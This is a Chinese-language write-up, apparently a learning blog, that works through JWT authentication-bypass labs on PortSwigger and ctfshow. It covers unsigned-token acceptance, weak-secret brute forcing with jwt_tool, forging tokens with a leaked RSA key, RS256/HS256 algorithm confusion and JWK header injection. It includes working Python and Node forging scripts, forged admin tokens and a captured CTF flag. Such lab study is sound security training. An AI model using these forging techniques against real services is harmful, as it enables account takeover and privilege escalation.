前言 :
什么是jwt(json web token)? 看看英文单词的意思就是 json形式的token
他的基本的特征 :
类似于这样的 他有2个点 分割
解码的时候会有三个部分
头部 payload 对称密钥 这个就是对称加密
头部:标明了 需要进行加密的方式是什么(一般就是对称加密 =》 SH256 和 非对称加密 =》RH256)
这些都叫 alg头 (算法头) 当然还有一些typ, kid等
中间的就是要加密的内容 需要是json形式的;
尾部是签证 主要就是利用密钥进行加密: 主要是 jwt.encode(payload,alg,key)
插件的使用:
burp自带
https://github.com/CompassSecurity/jwt-scanner
打靶 burp靶场:
1、无签证的 jwt 验证
实验:通过未经验证的签名绕过 JWT 身份验证 |网络安全学院
访问靶场 插件会自动的检测
这里就有个牛13插件 jwt-scan https://github.com/CompassSecurity/jwt-scanner
演示 :
也可以直接识别到 对方jwt的基本特征
当然你如果不信插件可以看特征
进行解密
发现是很全面的 这个漏洞主要出在后端没有接受 jwt的签证验证 这个密钥就是吓唬你的 直接改数据就行 这些参数时 payloa的的
iss :jwt的签发者
exp : 发布的时间戳
sub : jwt面向的用户
改一下访问后台
2、第二个有缺陷的签名认证
3、第三关 对称加密的缺陷
使用工具 :https://github.com/ticarpi/jwt_tool
使用方法
python ./jwt_tool jwt数据 -C -d +字典
-C 是只让其显示正确的 key
使用插件验证一下
然后知道密钥之后我们就可以重新生成一个jwt密文
使用脚本 :
pip install PyJWT==1.7.1 先进行下载库 如果没有这个版本可以不加版本号import jwt //导入库
payload={"user":"administrator"} //设置荷载
key = 'secret1' //设置 秘钥
print(jwt.encode(payload, key, algorithm='HS256')) //进行加密
脚本还是要会写的 因为这个jwt的操作比较少
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW5pc3RyYXRvciJ9.rLCBnvGEPxuOK2GeDFmK-xuIf05CiVlfjwjmGmoLKzk
使用这个jwt进行登录
4、第四个实验
ctfshow 349
RH加密但是私/公钥泄露
审计一下
我们知道了逻辑是 私钥加密公钥解密 但是有一点就是非对称:私钥加密就一定可以解码 实际上我们只要知道泄露的私钥其实就能进行解密了
也是上面的脚本修改一下
import jwt
payload={"user":"admin"}
key =open('./private.key').read()
print(jwt.encode(payload, key, algorithm='RS256'))
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU
使用这个进行访问
是 router的问题啊是post请求 右键进行修改
ctfshow{a57a1ea7-eb92-4a7e-8d05-3959e800db95}
5、第五个实验 解密算法模式配置的错误导致可以使用对称加密进行加解密
ctfshow 350 :
看一下源码 发现 私钥是丢失的 : 但是我们看一下 alg是直接写的 cert
cert是读取的公钥 这个公钥我们是有的 但是他没有写模式
所以我们完全可以使用 sh256 进行混淆
使用脚本重新进行加密
var jwt = require('jsonwebtoken'); //jwt 库
var fs = require('fs'); //文件管理库
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
使用脚本生成jwt然后访问就行了
6、第六关: jwk绕过实现越权
什么是jwk?JSON Web Key 就是对jwk加密的密钥的描述
结构
json
{"kty": "RSA", // 密钥类型(RSA/EC/oct等)"use": "sig", // 用途:签名(sig)或加密(enc)"kid": "2023-rsa-key", // 密钥唯一标识(用于匹配 JWT 头部的 kid)"alg": "RS256", // 算法"n": "modulus-value", // RSA 模数(Base64URL 编码)"e": "exponent-value" // RSA 指数(Base64URL 编码)
}
还有一个就是jku?JWK Set URL 简单的说就是把加密的方式和密钥放到url地址 访问来实现的
实验:通过 jwk 标头注入绕过 JWT 身份验证 |网络安全学院
开始打靶 : 抓包发到 jwtscan上去
识别出来时 jwk头注入 从特征其实也看出来了 就是这个kid 然后:
点击攻击 :然后选择第一个选项
点击确定 点一下sign进行和前面的同步
发包进行了跳转 (3开头)